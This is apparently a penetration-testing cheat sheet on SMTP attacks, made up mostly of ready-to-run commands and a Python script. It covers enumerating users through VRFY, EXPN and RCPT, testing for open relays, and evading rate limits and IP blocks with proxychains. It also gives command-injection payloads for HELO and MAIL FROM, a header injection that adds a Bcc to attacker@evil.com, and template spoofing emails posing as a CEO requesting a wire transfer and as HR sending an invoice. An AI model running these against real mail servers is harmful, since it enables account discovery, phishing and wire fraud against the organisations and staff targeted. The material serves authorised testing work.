SMTP Enumeration
SMTP (Simple Mail Transfer Protocol) enumeration to discover valid users, mail server configuration, and potential attack vectors.
User Enumeration
VRFY Command
Verify if a user exists on the mail server:
# Using telnet
telnet target.com 25
VRFY root
VRFY admin
VRFY user@target.com
# Using nc
nc -nv target.com 25
VRFY root
EXPN Command
Expand mailing lists:
RCPT TO Command
Check if user exists by attempting delivery:
telnet target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
RCPT TO:<root@target.com>
Automated Enumeration
smtp-user-enum
Efficient user enumeration using VRFY, EXPN, and RCPT TO:
# VRFY method
smtp-user-enum -M VRFY -U users.txt -t target.com
# EXPN method
smtp-user-enum -M EXPN -U users.txt -t target.com
# RCPT method
smtp-user-enum -M RCPT -U users.txt -t target.com
# Specify port
smtp-user-enum -M VRFY -U users.txt -t target.com -p 25
# Multiple targets from file
smtp-user-enum -M VRFY -U users.txt -T targets.txt
Nmap NSE Scripts
# SMTP enumeration
nmap -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} target.com
# SMTP commands
nmap -p25 --script smtp-commands target.com
# SMTP open relay test
nmap -p25 --script smtp-open-relay target.com
# SMTP NTLM info disclosure
nmap -p25,587 --script smtp-ntlm-info target.com
# All SMTP scripts
nmap -p25,465,587 --script smtp-* target.com
Information Gathering
Banner Grabbing
# Using telnet
telnet target.com 25
# Using nc
nc -nv target.com 25
# Using nmap
nmap -sV -p25 target.com
# Using curl
curl -v telnet://target.com:25
SMTP Commands Discovery
Common responses reveal:
- Supported AUTH methods
- SIZE limitations
- STARTTLS support
- PIPELINING capability
- VRFY/EXPN enabled status
Testing for Open Relay
Manual Test
telnet target.com 25
HELO attacker.com
MAIL FROM:<spoofed@external.com>
RCPT TO:<victim@external.com>
DATA
Subject: Test
This is a relay test.
.
QUIT
Automated Testing
# Nmap
nmap -p25 --script smtp-open-relay target.com
# swaks (Swiss Army Knife for SMTP)
swaks --to victim@external.com --from spoofed@external.com --server target.com
Common Wordlists
# Common usernames
/usr/share/metasploit-framework/data/wordlists/unix_users.txt
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
# Email-specific
/usr/share/seclists/Usernames/Names/names.txt
# Custom list for domain
cat > users.txt <<EOF
admin
administrator
root
postmaster
webmaster
info
support
contact
sales
noreply
EOF
Metasploit Modules
msfconsole
# User enumeration
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS target.com
set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
run
# Version detection
use auxiliary/scanner/smtp/smtp_version
set RHOSTS target.com
run
# SMTP relay test
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS target.com
run
# NTLM information disclosure
use auxiliary/scanner/smtp/smtp_ntlm_domain
set RHOSTS target.com
run
Common SMTP Ports
| Port | Service | Notes |
|---|---|---|
| 25 | SMTP | Standard unencrypted |
| 465 | SMTPS | SMTP over SSL (deprecated) |
| 587 | Submission | Modern encrypted submission port |
| 2525 | Alternative | Alternative SMTP port |
Bypassing Protections
Rate Limiting
# Slow enumeration with delays
smtp-user-enum -M VRFY -U users.txt -t target.com -w 5
# Spread across multiple connections
for user in $(cat users.txt); do
echo "VRFY $user" | nc target.com 25
sleep 2
done
IP Blocking
# Use proxychains
proxychains smtp-user-enum -M VRFY -U users.txt -t target.com
# Rotate source IPs if you have multiple interfaces
smtp-user-enum -M VRFY -U users.txt -t target.com --source-ip 192.168.1.10
SMTP Authentication Testing
Testing AUTH methods
telnet target.com 587
EHLO attacker.com
AUTH LOGIN
# Base64 encoded username
dXNlcm5hbWU=
# Base64 encoded password
cGFzc3dvcmQ=
Encoding credentials
swaks for authentication
# Test authentication
swaks --to test@target.com --from test@target.com --server target.com --auth LOGIN --auth-user username --auth-password password
# List supported AUTH mechanisms
swaks --server target.com --quit-after EHLO
Email Spoofing Tests
SPF/DKIM/DMARC Check
# Check SPF record
dig target.com TXT | grep spf
# Check DMARC
dig _dmarc.target.com TXT
# Check DKIM (need selector)
dig default._domainkey.target.com TXT
Spoofing Test
# Send spoofed email
swaks --to victim@company.com \
--from ceo@company.com \
--server target.com \
--body "Please transfer funds to account..." \
--header "Subject: Urgent: Wire Transfer Needed"
# With attachment
swaks --to victim@company.com \
--from hr@company.com \
--server target.com \
--attach invoice.pdf \
--header "Subject: Invoice Payment Required"
SMTP Vulnerabilities
Command Injection
# Test HELO/EHLO injection
HELO test`whoami`@attacker.com
# MAIL FROM injection
MAIL FROM:<test$(id)@attacker.com>
SMTP Header Injection
# Inject additional headers
swaks --to victim@target.com \
--from legit@target.com \
--server target.com \
--header "Subject: Test\nBcc: attacker@evil.com"
STARTTLS Stripping
# Test if STARTTLS can be stripped
openssl s_client -connect target.com:587 -starttls smtp
# Check if plaintext fallback is allowed
telnet target.com 587
EHLO attacker.com
# Don't send STARTTLS, try AUTH directly
Advanced Techniques
Internal Domain Discovery
# SMTP NTLM authentication disclosure
nmap -p587 --script smtp-ntlm-info target.com
# Response reveals:
# - Internal domain name
# - Server hostname
# - DNS domain name
Timing Attacks
# Valid vs invalid user response time
time echo "VRFY validuser@target.com" | nc target.com 25
time echo "VRFY invaliduser@target.com" | nc target.com 25
# Statistical analysis for user enumeration
for user in $(cat users.txt); do
start=$(date +%s%N)
echo "VRFY $user@target.com" | nc -w 1 target.com 25 > /dev/null 2>&1
end=$(date +%s%N)
elapsed=$((($end - $start) / 1000000))
echo "$user: ${elapsed}ms"
done | sort -t: -k2 -n
Catch-All Detection
# Test with random addresses
for i in {1..5}; do
echo "RCPT TO:<randomuser$RANDOM@target.com>" | nc target.com 25
done
# If all succeed, likely catch-all is enabled
Python Script Example
#!/usr/bin/env python3
import socket
import sys
def smtp_vrfy(target, port, user):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv(1024)
s.send(b'VRFY ' + user.encode() + b'\r\n')
result = s.recv(1024).decode()
s.send(b'QUIT\r\n')
s.close()
return result
# Usage
if __name__ == "__main__":
target = "target.com"
port = 25
with open("users.txt", "r") as f:
for user in f:
user = user.strip()
result = smtp_vrfy(target, port, user)
if "252" in result or "250" in result:
print(f"[+] {user}: {result.strip()}")
Response Codes
| Code | Meaning | Enumeration Value |
|---|---|---|
| 250 | User exists | Valid user |
| 251 | User not local, will forward | Potentially valid |
| 252 | Cannot verify, but will attempt delivery | Cannot confirm |
| 550 | User does not exist | Invalid user |
| 553 | Mailbox name not allowed | Invalid user |
| 500 | Command not recognized | VRFY disabled |
| 502 | Command not implemented | VRFY disabled |
Useful Links
- smtp-user-enum GitHub
- swaks Documentation
- SMTP RFC 5321
- Email Spoofing Testing
- SPF Record Checker
- DMARC Checker
- HackTricks SMTP Pentesting
Quick Reference
# Basic user enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t target.com
# Nmap comprehensive scan
nmap -p25,465,587 --script smtp-enum-users,smtp-commands,smtp-open-relay,smtp-ntlm-info target.com
# Manual VRFY
echo "VRFY admin" | nc target.com 25
# Test open relay
swaks --to external@gmail.com --from spoofed@target.com --server target.com
# Check SPF/DMARC
dig target.com TXT | grep spf
dig _dmarc.target.com TXT